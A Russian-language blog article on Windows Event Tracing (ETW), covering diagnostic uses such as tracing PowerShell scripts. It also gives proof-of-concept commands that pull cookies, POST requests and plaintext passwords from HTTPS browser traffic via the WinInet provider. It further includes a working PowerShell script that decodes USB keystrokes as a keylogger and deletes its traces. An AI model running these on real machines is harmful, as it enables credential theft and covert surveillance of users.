В предыдущих статьях про сниффер на PowerShell и сбор данных о загрузке с удаленного сервера я уже немного писал про возможности ETW (Event Tracing for Windows). Сегодня я хочу подробнее рассказать про эту технологию.

Заодно покажу на примере разбора HTTPS и создания кейлоггера на PowerShell, как ее можно использовать во благо. Или не совсем во благо.

Работа с ETW

Event Tracing for Windows собирает и передает сообщения от системных компонентов Windows и сторонних приложений. Появился он еще во времена Windows 2000, но если в те времена системных провайдеров было несколько десятков, то сейчас их счет идет уже на сотни. Сообщения удобно использовать для диагностики ошибок и решения проблем с производительностью софта.

Часть системных провайдеров по умолчанию уже пишет в журнал событий Windows, а часть включается отдельно. Так что даже если вы не знаете про ETW, наверняка им пользуетесь. Познакомиться с журналами и включить часть из них при необходимости можно в стандартном просмотре событий в журналах приложений и служб. Немного о журнале и о работе с ним можно почитать в статье «Вертим логи как хотим ? анализ журналов в системах Windows».

Посмотреть список существующих провайдеров, которые только и рады поведать нам, что с ними происходит, можно командой logman query providers.

Провайдеры ETW.

Посмотреть список провайдеров, которые подключены к определенному процессу Windows (а значит, и узнать что-то про него), можно при помощи команды logman query providers -pid <PID процесса>.

Список провайдеров, подключенных к обычному блокноту.

Подписку на события определенного провайдера или на трассировку можно включить через PowerShell при помощи командлета New-NetEventSession. А можно и вовсе накликать мышкой по пути «Управление компьютером» — «Производительность» — «Группы сборщиков данных». Здесь в сеансах отслеживания событий видно, какие трассировки запущены, и при желании можно создать свой сборщик.

Запущенные трассировки.

Просматривать результат можно при помощи утилит и наборов утилит типа Microsoft Message Analyzer, Windows Performance Toolkit или вовсе командлетом PowerShell Get-WinEvent.

С особенностями работы ETW я рекомендую ознакомиться в документации Microsoft, начать можно с раздела About Event Tracing. Также могу порекомендовать неплохой материал «Изучаем ETW и извлекаем профиты».

Поскольку ETW работает на уровне ядра, то его отличает скорость передачи сообщений и отсутствие необходимости устанавливать какие-либо драйверы или инжекты в приложения. Обычно ETW используют для диагностики производительности и проблем с приложениями. Например, в статье «Ускорение загрузки Windows for fun and profit» анализируются факторы, влияющие на замедление загрузки, а в материале 24-core CPU and I can’t move my mouse — причины торможения Windows на рядовых операциях. Приведу пример — анализ запуска командлетов PowerShell.

Следим за PowerShell

Предположим, что вы каким-то образом (например, через аудит запуска процессов) обнаружили, что на компьютере запускаются невнятные процессы и скрипты PowerShell. Одной из методик будет использование ETW для анализа их активности. Например, посмотрим на провайдера PowerShell. Включим трассировку командой:

logman start pstrace -p Microsoft-Windows-PowerShell -o c:\temp\pstrace.etl -ets

Теперь подождем, пока непонятные скрипты отработают, остановим трассировку командой:

logman stop pstrace -ets

Теперь можно посмотреть трассировку, например, через Microsoft Message Analyzer.

Подозрительный clean.ps1 явно что-то ищет и удаляет.

Если выбрать нужную строку, то в нижней панели будет расширенная информация о событии.

А, это же скрипт для очистки кэша 1С!

В этот раз все оказалось банально. Но в более сложных случаях можно запустить трассировку и для проверки других активностей:

• сетевая активность;
• разрешение DNS;
• обращение к диску;
• работа с памятью;
• активность WMI;
• и многое другое.

Таким образом, ETW может помочь поймать зловреда и разобраться в работе приложений. Местами это информативнее, чем привычный Process Monitor. Но помимо дел добрых, у механизма есть и «темная» сторона.

Разумеется, и молотком можно убить, и ружьем спасти. Моральную оценку механизмов делать я, конечно же, не буду, но в любом случае возможности открываются интересные.

Приведу пару примеров в качестве Proof-of-Concept

S — значит бееезопасно

В этом примере я покажу, как легко узнать, что же ищет пользователь в интернете, даже по HTTPS. Посмотреть можно и без PowerShell — только мышка, только хардкор. В нашей задаче будет пользователь, будет Windows, Internet Explorer и журнал событий.

Начнем с того, что включим журнал событий Wininet. Делается это так: открываем журнал событий, на вкладке «Вид» включаем отображение аналитических и отладочных журналов.

Добавляем отображение нужных журналов.

После этого включаем UsageLog в контекстном меню, и этого достаточно для получения нужной информации. Попользуемся IE и посмотрим лог:

Журнал WinInet.

Собственно, в журнале видны заголовки и непосредственный запрос в поисковую систему.

Помимо заголовков при помощи журнала можно вытащить и cookie, а заодно посмотреть POST-запросы — например, для вытаскивания учетных данных. Методика работает на любых приложениях, использующих wininet.dll для работы с интернетом. К примеру, браузер Edge.

То же самое запросто реализуется и на PowerShell, и даже на cmd. Приведу пример реализации последним.

Для начала создадим трассировку:

logman start CookieStealer -p Microsoft-Windows-WinInet -o c:\temp\cookiesteal.etl -ets

Теперь поработаем в браузере, проверим почту. Трассировку можно после этого остановить командой:

logman stop CookieStealer -ets

Простейший анализ можно провести при помощи командной утилиты wevtutil.exe. Например, для просмотра POST-запросов команда будет такой:

wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"

Можно даже наудачу попробовать поискать по слову password и получить результат.

Пароли открытым текстом. Очень напрягает.

Стоит отметить, что антивирус при этом молчал. Действительно, ведь это обычный процесс трассировки.

Разумеется, события WinInet можно использовать и для диагностики неполадок вроде «почему этот сайт не открывается и что вообще происходит». Но тем не менее, возможности довольно интересны. Перейду к еще более закрученному примеру.

Кейлоггер на PowerShell. Потому что могу.

В Windows есть два интересных провайдера ETW:

• Microsoft-Windows-USB-UCX (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8) — работает с USB 2.0.

  
  

• Microsoft-Windows-USB-USBPORT (C88A4EF5-D048-4013-9408-E04B7DB2814A) — работает с USB 3.0.

  
  

С их помощью можно получить данные HID, которые передает такое устройство USB, как клавиатура или мышь. Данные захватываются в сыром виде, но благодаря спецификации HID их вполне можно привести к читаемому виду.

Для начала трассировки достаточно выполнить следующие команды:

logman start "usbtrace" -p "microsoft-windows-usb-usbport"  -o "c:\temp\usbtrace.etl" -ets

А данные можно получить командлетом PowerShell:

$Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"}

Приведу пример простого скрипта, который читает данные трассировки и преображает их в читаемые значения. Преобразование делается только для английских букв и исключительно в заглавные.

$source = "C:\temp\trace.etl"
$destination=  "C:\temp\Output.txt"
$tracetime = "10"
logman start usbtrace -p microsoft-windows-usb-usbport  -o $source  -ets
sleep $TraceTime
logman stop usbtrace -ets
$Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"}
$HID = Foreach ($I in $Input) {(‘{0:x}’ -f ($I.properties.value[5]))}
$Data=switch ($HID)
{
    4 {"A"}
    5 {"B"}
    6 {"C"}
    7 {"D"}
    8 {"E"}
    9 {"F"}
    A {"G"}
    B {"H"}
    C {"I"}
    D {"J"}
    E {"K"}
    F {"L"}
    10 {"M"}
    11 {"N"}
    12 {"O"}
    13 {"P"}
    14 {"Q"}
    15 {"R"}
    16 {"S"}
    17 {"T"}
    18 {"U"}
    19 {"V"}
    1A {"W"}
    1B {"X"}
    1C {"Y"}
    1D {"Z"}
}

$Data | out-file "$Destination"
get-content "$Destination"
del "$source"
del "$Destination"

При запуске скрипт включает трассировку на 10 секунд, затем показывает результат.

Результат работы скрипта.

Конечно же, разобравшись с данными HID, можно доработать скрипт до полноценного кейлоггера, который записывал бы данные с клавиатуры и мыши. Стоит отметить и ограничения этого механизма:

• работает только с USB, а PS\2 (как порой встречается в ноутбуках) не поддерживается;
• поддержка USB 3.0 заявлена только в Windows 8 и выше;
• требуются права администратора (UAC).

Зато никаких драйверов и перехватчиков. Ну, и конечно, помимо зловредного использования такой кейлоггер может помочь в диагностике проблем с клавиатурой. Теоретически.

Нужно ли бояться

Даже встроенные механизмы в руках злодея могут натворить бед. Методы защиты остаются те же самые: блокировать исполняемые файлы не из системных каталогов, не работать под пользователем с правами администратора, а если и работать — то хотя бы не отключать UAC. И, конечно же, встроенные браузеры Windows по части безопасности вызывают вопросы.